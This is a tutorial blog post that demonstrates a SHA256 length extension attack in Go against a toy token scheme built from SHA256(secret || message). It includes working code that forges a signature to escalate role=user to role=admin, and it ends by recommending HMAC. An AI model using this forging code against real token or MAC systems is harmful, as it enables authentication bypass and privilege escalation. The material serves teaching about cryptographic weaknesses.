Breaking SHA256: length extension attacks in practice (with Go)
Last week, we saw why SHA256 is certainly the best hashing algorithm that you can use today if you want to securely check the integrity of some data.
As explained, SHA256 is preimage resistant: it's virtually impossible to find the original message Message for a given H where H = SHA256(Message) (given that Message can't be brute-forced).
Knowing that, you may want to implement signatures where a known message Message and a secret key SecretKey are used to compute the Signature (hash) S = SHA256(SecretKey || Message), allowing only parties who know SecretKey to generate a valid S.
|| denotes concatenation
Hold-on!
Today we are going to see the major drawback of SHA256: its vulnerability to length extensions attacks and how to break SHA256 based signatures in the real world.
Insecure Web Token
Let's say that you want to build your own token mechanism for your new shiny web application. Let's call this scheme Insecure Web Tokens, IWToken.
The protocol is simple: your web server knows a 256 bits secret key SecretKey that is never sent anywhere.
The server issues stateless IWTokens containing data like user_id, role (admin | user) and so on... separated by the & character. The data is signed with SecretKey to produce the signature S such as S = SHA256(SecretKey || data). The signature is then appended to the data, spearated by a | to form the IWToken IWToken = data|SHA256(SecretKey || data).
In practice, an IWToken looks like this:
user_id=1&role=user|006f9c2877a9ab19c14f103d19d9881cc41e387fa04fd7e028d9c53278c34bc2
The IWToken is sent to the clients of your web application so they can authenticate by transmitting the IWToken in each request, in the Authorization HTTP header.
When receiving such a request, the server checks that the IWToken is valid by computing S2 = SHA256(SecretKey || data) and verifying that S2 == S which avoids a database call to authenticate the request. If the signature is valid, it means that the data should have been legitimately issued by the server and can be trusted.
Attacking SHA256 Signatures
Unfortunately, SHA256 is vulnerable to length extension attacks.
For a given message M1 with its valid signature S1 = SHA256(SecretKey || M1), we can generate a valid signature S2 = SHA256(SecretKey || M1 || M2) where M2 is malicious data appended to M1, without knowing SecretKey, only it's size.
In our example, we use a 32 byte (256 bit) SecretKey: secretsecretsecretsecretsecretse. In real life, it should be generated using crypto.Rand.
In our example, for the data user_id=1&role=user we want to create the an IWToken with the data user_id=1&role=user&something=true&role=admin and generate a valid signature, even without knowing SecretKey, leading the server to accept forged data.
Enough for the theory. Let's dig into the code.
All the code examples are in Go as it's certainly the easiest language to understand and provides a rich standard library with built-in cryptographic functions.
As always, you can find the code on GitHub: github.com/skerkour/kerkour.com
First, let's generate our legitimate signature:
S = SHA256(secretKey || data)
SHA256("secretsecretsecretsecretsecretse" || "user_id=1&role=user") = 5b0b4b2472778fea87faac08a72a47d24538bff9d7f19a3a85d069893e2b08ab
Which can be computed with the following code:
func sign(secretKey []byte, data []byte) (signature []byte) {
hasher := sha256.New()
hasher.Write(secretKey)
hasher.Write(data)
hash := hasher.Sum(nil)
signature = hash[:]
return
}
SHA256 under the hood
SHA256 works on blocks of 512 bits. Thus, some padding is internally needed to fill the blocks if the size of message is not an exact multiple of 512 bits.
As defined in RFC 6234, SHA256's padding is computed as follow:
a. "1" is appended. Example: if the original message is "01010000",
this is padded to "010100001".
b. K "0"s are appended where K is the smallest, non-negative solution
to the equation
( L + 1 + K ) mod 512 = 448
c. Then append the 64-bit block that is L in binary representation.
After appending this block, the length of the message will be a
multiple of 512 bits.
So, if our message SecretKey || Data = "secretsecretsecretsecretsecretse" || "user_id=1&role=user" is 32 + 19 = 51 bytes long, we need to:
a) Append 1
b) Append 39 zeros to satisfy (51 * 8) + 1 + 39 + 64 = 512
c) Append the size of the message in bits as a big endian uint64: 51 * 8 = 408 = 0x0000000000000198
After all these steps, the initial SHA256 block looks like this:
00000000 73 65 63 72 65 74 73 65 63 72 65 74 73 65 63 72 |secretsecretsecr|
00000010 65 74 73 65 63 72 65 74 73 65 63 72 65 74 73 65 |etsecretsecretse|
00000020 75 73 65 72 5f 69 64 3d 31 26 72 6f 6c 65 3d 75 |user_id=1&role=u|
00000030 73 65 72 80 00 00 00 00 00 00 00 00 00 00 01 98 |ser.............|
Or in binary:
01110011 01100101 01100011 01110010 01100101 01110100 01110011 01100101
01100011 01110010 01100101 01110100 01110011 01100101 01100011 01110010
01100101 01110100 01110011 01100101 01100011 01110010 01100101 01110100
01110011 01100101 01100011 01110010 01100101 01110100 01110011 01100101
01110101 01110011 01100101 01110010 01011111 01101001 01100100 00111101
00110001 00100110 01110010 01101111 01101100 01100101 00111101 01110101
01110011 01100101 01110010 10000000 00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000 00000000 00000000 00000001 10011000
You can play with SHA256's internal state at sha256algorithm.com
Length extension attacks in practice
Why does it matter?
In order to create a forged signature, we need to generate some padding so that our malicious data &something=true&role=admin is appended after this padding. Thus, our malicious message should have the form: legitimateData || padding || maliciousData.
Translating the specification above to code gives us:
// generatePadding generates the required padding to fill SHA256 blocks of 512 bits (64 bytes)
// with (secretKey || data || padding)
// The padding format is defined in RFC6234: https://www.rfc-editor.org/rfc/rfc6234#page-8
func generatePadding(secretKeyLength uint64, legitimateDataLength uint64) (padding []byte) {
messageLength := secretKeyLength + legitimateDataLength
zerosLength := int(64 - 8 - 1 - (messageLength % 64))
padding = make([]byte, 1+zerosLength+8)
padding[0] = 0x1 << 7
binary.BigEndian.PutUint64(padding[1+zerosLength:], messageLength*8)
return
}
Then we can write the code to generate MaliciousMessage = legitimateData || padding(secretKeyLength, legitimateDataLength) || maliciousData :
// generateMaliciousMessage generates the malicious message used to forge a signature without knowing the
// secretKey. The message has the following format: (legitimateData || padding || maliciousData)
func generateMaliciousMessage(secretKeyLength uint64, legitimateData []byte, maliciousData []byte) (message []byte) {
padding := generatePadding(secretKeyLength, uint64(len(legitimateData)))
message = make([]byte, 0, len(legitimateData)+len(padding)+len(maliciousData))
message = append(message, legitimateData...)
message = append(message, padding...)
message = append(message, maliciousData...)
return
}
maliciousMessage := generateMaliciousMessage(uint64(len(secretKey)), legitimateData, maliciousData)
Then, we need to load SHA256's final state after it has computed the legitimate signature. How to find this state? It's simple, it's the actual legitimate signature (hash) generated by the server: 5b0b4b2472778fea87faac08a72a47d24538bff9d7f19a3a85d069893e2b08ab.
Go does not expose SHA256's internal state, so we need to copy the files sha256.go and sha256block.go from the standard library's crypto/sha256 package into our project in order to access the private struct: digest. You will need to modify sha256.go to remove the references to the internal package crypto/internal/boring which can't be imported, as I did here: sha256.go
We can load the internal state of the hashing function with the following code which is a slightly modified version of diget.UnmarshalBinary that allow us to load the internal state from a hash:
// loadSha256 is a slightly modified version of digest.UnmarshalBinary in order to load the state from a
// normal SHA256 hash instead of the "proprietary version" generated by digest.MarshalBinary
func loadSha256(hashBytes []byte, secretKeyAndDataLength uint64) (hash *digest) {
if len(hashBytes) != sha256.Size {
panic("loadSha256: not a valid SHA256 hash")
}
hash = new(digest)
hash.Reset()
hashBytes, hash.h[0] = consumeUint32(hashBytes)
hashBytes, hash.h[1] = consumeUint32(hashBytes)
hashBytes, hash.h[2] = consumeUint32(hashBytes)
hashBytes, hash.h[3] = consumeUint32(hashBytes)
hashBytes, hash.h[4] = consumeUint32(hashBytes)
hashBytes, hash.h[5] = consumeUint32(hashBytes)
hashBytes, hash.h[6] = consumeUint32(hashBytes)
_, hash.h[7] = consumeUint32(hashBytes)
// hash.len is the nearest upper multiple of 64 of the length of the hashed data: len(secretKey || Data)
hash.len = secretKeyAndDataLength + 64 - (secretKeyAndDataLength % 64)
hash.nx = int(hash.len % chunk)
return
}
Finally, we can generate a forged signature with our malicious data &something=true&role=admin:
hasher := loadSha256State(legitimateSignature)
hasher.Write(maliciousData)
forgedSignature = hasher.Sum()
Or, in code:
// forgeSignature performs a length extension attack by loading a SHA256 hash from the legitimate signature
// and appending the malicious data.
func forgeSignature(legitimateSignature []byte, maliciousData []byte, secretKeyAndDataLength uint64) (forgedSignature []byte) {
digest := loadSha256(legitimateSignature, secretKeyAndDataLength)
digest.Write(maliciousData)
hash := digest.Sum(nil)
forgedSignature = hash[:]
return
}
maliciousSignature := forgeSignature(legitimateSignature, maliciousData, uint64(len(secretKey)+len(legitimateData)))
We can verify that the forged signature is valid with:
// verifySignature verifies that Signature == SHA256(secretKey || data)
func verifySignature(secretKey []byte, signatureToVerify []byte, data []byte) (isValid bool) {
isValid = false
signature := sign(secretKey, data)
if subtle.ConstantTimeCompare(signature, signatureToVerify) == 1 {
isValid = true
}
return
}
fmt.Printf("Verify MaliciousSignature(LegitimateSignature, MaliciousData) == SHA256(SecretKey, MaliciousMessage): %v\n", verifySignature(secretKey, maliciousSignature, maliciousMessage))
Verify MaliciousSignature(LegitimateSignature, MaliciousData) == SHA256(SecretKey, MaliciousMessage): true
Putting it all together:
- We generated a malicious message
MaliciousMessage = LegitimateData || padding(SecretKeyLength, LegitimateDataLength) || MaliciousData - Loaded the legitimate signature's state
SHA256(SecretKey || LegitimateData)and appended ourMaliciousData - Which allowed us to generate a
MaliciousSignaturethat will returntrueforMaliciousSignature(LegitimateSignature, MaliciousData) == SHA256(SecretKey, MaliciousMessage).
You can run the code:
$ go run ./ -verbose
SecretKey: 7365637265747365637265747365637265747365637265747365637265747365
Legitimate Data: user_id=1&role=user
Legitimate Signature SHA256(SecretKey || LegitimateData): 5b0b4b2472778fea87faac08a72a47d24538bff9d7f19a3a85d069893e2b08ab
Verify LegitimateSignature == SHA256(SecretKey || LegitimateData): true
---------------------------------------------------------------------------------------------------
Malicious Data: &something=true&role=admin
Malicious Message (LegitimateData || padding || MaliciousData):
00000000 75 73 65 72 5f 69 64 3d 31 26 72 6f 6c 65 3d 75 |user_id=1&role=u|
00000010 73 65 72 80 00 00 00 00 00 00 00 00 00 00 01 98 |ser.............|
00000020 26 73 6f 6d 65 74 68 69 6e 67 3d 74 72 75 65 26 |&something=true&|
00000030 72 6f 6c 65 3d 61 64 6d 69 6e |role=admin|
Malicious Signature: 8c37e11e8397b39cba72fa0e4769716c69a7ba9e29cfaf00d4601e086e85dd8f
Verify MaliciousSignature == SHA256(SecretKey, MaliciousMessage): true
In other words, the IWToken user_id=1&role=user\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x98&something=true&role=admin|8c37e11e8397b39cba72fa0e4769716c69a7ba9e29cfaf00d4601e086e85dd8f, while malicious, is verified as valid by the server.
Some Closing Thoughts
You should NEVER use SHA256 (or SHA1 or SHA512 which are also vulnerable) as a MAC to authenticate a message with the construction Signature = (secret || message). Signature = (message || secret) may be safe in certain circumstances, but you should also AVOID IT!
Instead you should use the HMAC-SHA256 construction which is secure and widely used such as in the Signal Protocol or in JSON Web Tokens.
As always, you can find the code on GitHub: github.com/skerkour/kerkour.com
As an exercise, you can modify the code to bruteforce the length of the secret instead of having it hardcoded (hint: it's only a matter of finding the right padding size).
